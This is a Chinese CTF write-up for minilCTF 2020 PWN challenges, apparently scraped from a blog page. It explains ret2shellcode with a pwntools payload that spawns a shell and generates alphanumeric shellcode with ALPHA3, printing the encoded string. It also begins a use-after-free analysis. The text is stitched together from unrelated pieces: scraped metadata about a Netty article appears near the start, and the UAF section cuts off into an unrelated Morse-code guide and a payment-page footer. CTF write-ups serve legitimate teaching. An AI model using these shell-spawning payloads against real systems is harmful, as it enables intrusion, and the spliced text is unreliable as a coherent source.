【CTF题解NO.00002】minilCTF 2020 - write up by arttnba3

This blog post provides a detailed walkthrough of solving PWN challenges from the minilCTF 2020 competition. The author discusses various techniques, including ret2shellcode, stack migration, Use After Free (UAF), and Fastbin attacks. The write-up covers several CTF challenges, with explanations on how to exploit vulnerabilities, construct payloads, and achieve remote code execution." 74057553,6131059,理解Netty ChannelBuffer:C++实现解析,"['网络编程', 'Java框架', 'C++', 'Netty', '数据传输']

github pages blog addr

0x00.绪论

mini-LCTF,前身是makerCTF,是西电校内享誉盛名(?)的CTF,作为菜鸡CTFer也尝试着参加了一手

因为咱主攻PWN的原因,所以这一篇应该只有PWN(

(不过主要还是因为我太菜了XD

注:所有题目在archive.lctf.online上都有部署

0x01.Sign in

Starting Point

点进页面就可以直接获得flag了

0x02.PWN

hello - ret2text + ret2shellcode

点击下载-hello

证明了我真的是菜鸡的一道pwn题,搞了半天才明白XD

做题环境Manjaro-KDE

首先使用checksec指令查看保护,可以发现保护基本都是关的,只有Partial RELRO,那么基本上是可以为所欲为了wwww

win环境下拖进IDA进行分析

img

可以发现在vul函数存在明显的栈溢出
在这里插入图片描述

main函数中调用了vul
在这里插入图片描述

那么程序漏洞很明显了:

  • 使用fgets读入最大为72个字节的字符串,但是只分配给了48字节的空间,存在栈溢出

又有一个可疑的bd函数,那么第一时间想到**ret2text**——构造payload跳转到bd

但是很明显,bd函数基本是是空的(悲)

img.png

然后我就在这里卡了半天,证明我真的菜XD,感谢cor1e大佬的耐心解答

那么我们该如何利用这个bd呢?

可以看到在bd中存在操作jmp rsp,那么其实我们可以利用这个指令跳转回栈上,执行我们放在栈上的shellcode

也就是说这其实是一道ret2shellcode的题

ret2text执行过程:

  • rsp永远指向栈顶

  • 当我们用常规的ret2text构造48字节字符串+8字节rbp+8字节bd函数地址(覆盖掉原返回地址)的payload时,rsp指向的其实是bd函数地址的位置

  • ret指令进入bd后弹出bd地址,rsp指向栈内储存的rbp的值(预期内)

  • bd函数将rbp再push入栈中,此时rsp再加8,指向被新压入的rbp(预期内)

  • bd函数执行rsp上的指令
    那么我们就可以在rsp预期内指向的地址上覆盖上我们的shellcode使其被执行

接下来就是ret2shellcode的:

ret2shellcode修正过程:

  • 在rsp最终指向的地址放上我们待执行的shellcode

  • 由于长度不够,我们可以把getshell的shellcode放在读入的字符串的最开始的地方,再通过汇编指令进行跳转

  • 在rsp所指向的位置覆盖上shellcode,改变rsp的值使其指向getshell的shellcode并再次进行跳转,完成getshell

那么payload就很容易构造出来了:

注:第一次盲打payload居然错了,我还是太菜了Or2

注2:其实可以不需要跳转到bd,直接跳转到

context.arch = 'amd64'
sc1 = asm(shellcraft.sh())
sc2 = asm('sub rsp,56')//48字节的字符串+8字节的rbp,跳回开头
sc3 = asm('jmp rsp')
elf = ELF('hello')
payload = sc1 + b'a'*(56-len(sc1)) + p64(elf.symbols['bd']) + sc2 + sc3

在这里插入图片描述

高阶解法:栈迁移

假如说这道题并不存在供我们进行跳转的bd函数,给我们的溢出长度就只有72-48=24个字节,但是仅仅是asm(sellcraft.sh())就已经需要48个字节,那么我们该如何通过仅仅24字节的溢出完成pwn呢

答案是使用栈迁移技术

注:赛期因为各种ddl导致只解出了这一道题XD 后面的题解是在赛后写的 部分参照了Lunatic和eqqie师傅的题解

ezsc - Alphanumeric Shellcode

点击下载-ezsc

首先是惯例的checksec

img.png

四舍五入保护全关,我们有极大的操作空间

程序分析

拖入IDA进行分析

在这里插入图片描述

v7是一个函数指针,并被分配到了0x1000大小的内存空间

程序会从输入流逐字节读入最大4096个字节写入到v7所指向的空间上,且限制输入仅能为字母或数字否则终止输入

输入结束后尝试执行函数指针v7

那么我们直接输入一段shellcode即可getshell

但是限制了输入只能是数字和字母,常见的shellcode都包含一些其他字符

于是只好百度XD

得知一种叫做Alphanumeric Shellcode的东西www

Alphanumeric Shelllcode

具体参见:https://www.freebuf.com/articles/system/232280.html

首先从GitHub上随便找一个轮子

$ git clone https://github.com/TaQini/alpha3.git

然后编写生成我们的shellcode的脚本

# sc.py
from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)

输出重定向至文本

$ python sc.py > sc

使用轮子生成alphanumeric shellcode

$ python ./ALPHA3.py x64 ascii mixedcase rax --input="sc"

在这里插入图片描述

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00

连接服务端,发送我们的alphanumeric shellcode,成功getshell

在这里插入图片描述

得到flag

moectf{Y0u_kn3w_tH3_a1ph4num3r1C_she1lc0de!}

easycpp - Use After Free

点击下载-easycpp
点击下载-libc.so.6

首先是惯例的checksec

image.png

我们可以看到,和前面几题不同的是这个程序是一个32位的程序

说实话我也不知道为什么画风突变变成32位XD

程序分析

拖入IDA进行分析

在这里插入图片描述

用到了一个名为B的类,我们先看看这个类都有些啥

IDA中类B有一个构造函数B()和一个print()函数
在这里插入图片描述

类B的构造函数如下:

image.png

类B的构造函数首先调用了类A的构造函数,然后将变量_vptr_A设置为一个函数指针

我们不难看到在0x80489E4位置上我们还需要再跳转一次到0x80488F2的位置,这个位置上有一个B::print()函数,故可知这是一个二级函数指针

在这里插入图片描述

在这里插入图片描述

我们再来看看类A的构造函数,如下:

在这里插入图片描述

类A的构造函数也是将变量_vptr_A设置为一个函数指针

位于off_80489F0上的函数为A::print()

在这里插入图片描述

在这里插入图片描述

接下来是main函数的简单分析:

在这里插入图片描述

v3、v4都是一个类型为类 B的指针

首先setvbuf()函数将程序设置为无缓冲输入

之后创建了一个类B的实例并将地址给到指针v3和v4

之后将该实例内的变量_vptr_A的值设为0

之后使用delete释放掉之前分配给v3、v4的内存

之后从标准输入流读入1024个字节到buf(或许有操作空间?)

之后调用strbuf()函数重新分配一段内存空间并将buf的值拷贝一份(当然最后并没有指针接收这一块内存,那么它会成为野内存吗?)

最后重新调用v4的函数指针变量所指向的函数

那么我们在这里就可以发现一个exploit:

Use After Free

v3、v4所指向的内存空间被释放后v3、v4并没有被设置为NULL,在运行到strdup()函数时这一块内存空间又被重新分配给strdup()函数,而之后又通过v4再次对这一块内存空间进行调用,很明显存在**UAF(Use After Free)**漏洞

### CTF摩尔斯电码解题方法及工具 在CTF竞赛中,摩尔斯电码是一种常见的密码学题目类型。以下内容将详细介绍如何解密摩尔斯电码并提交FLAG。 #### 1. 摩尔斯电码基础 摩尔斯电码由点(·)和划(-)组成,用于传递信息的编码系统。每个字母、数字和标点符号都有对应的摩尔斯电码表示形式[^1]。例如,字母A的摩尔斯电码为`.-`,数字1为`.----`。字母之间通过短停顿分隔,单词之间用较长停顿分隔。 #### 2. 解码工具 解码摩尔斯电码可以使用多种工具和方法。以下是常用的工具: - **在线解码器**:许多网站提供摩尔斯电码的在线解码功能。用户只需输入摩尔斯电码字符串,即可获得解码后的明文。 - **Python脚本**:编写自定义脚本实现摩尔斯电码的解码。以下是一个简单的Python示例代码: ```python morse_code_dict = { '.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D', '.': 'E', '..-.': 'F', '--.': 'G', '....': 'H', '..': 'I', '.---': 'J', '-.-': 'K', '.-..': 'L', '--': 'M', '-.': 'N', '---': 'O', '.--.': 'P', '--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T', '..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X', '-.--': 'Y', '--..': 'Z', '-----': '0', '.----': '1', '..---': '2', '...--': '3', '....-': '4', '.....': '5', '-....': '6', '--...': '7', '---..': '8', '----.': '9' } def decode_morse(morse_code): morse_code = morse_code.strip().split(' ') decoded_message = ''.join([morse_code_dict[char] if char in morse_code_dict else '' for char in morse_code]) return decoded_message # 示例输入 morse_code = ".... . .-.. .--. ... ---" decoded_message = decode_morse(morse_code) print(decoded_message) # 输出: HELPSO ``` #### 3. 音频隐写分析 在某些CTF题目中,摩尔斯电码可能隐藏在音频文件中。此时需要借助音频处理工具进行分析[^2]。常用工具包括: - **Audacity**:开源音频处理软件,支持分析音频的频谱和波形。 - **MP3Stego**:专门用于音频数据分析和隐写检测的工具。 #### 4. 提交FLAG 解码完成后,通常需要将结果以特定格式提交至CTF平台。大多数情况下,FLAG格式为`flag{}`或`ctf{}`,具体格式需根据题目要求确定。 #### 5. 实战靶场推荐 为了提升解题能力,可以尝试以下CTF实战靶场[^3]: - **CTFTime**:全球CTF比赛信息汇总平台。 - **HackTheBox**:提供真实环境下的渗透测试练习。 - **OverTheWire**:专注于各种类型的CTF挑战。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值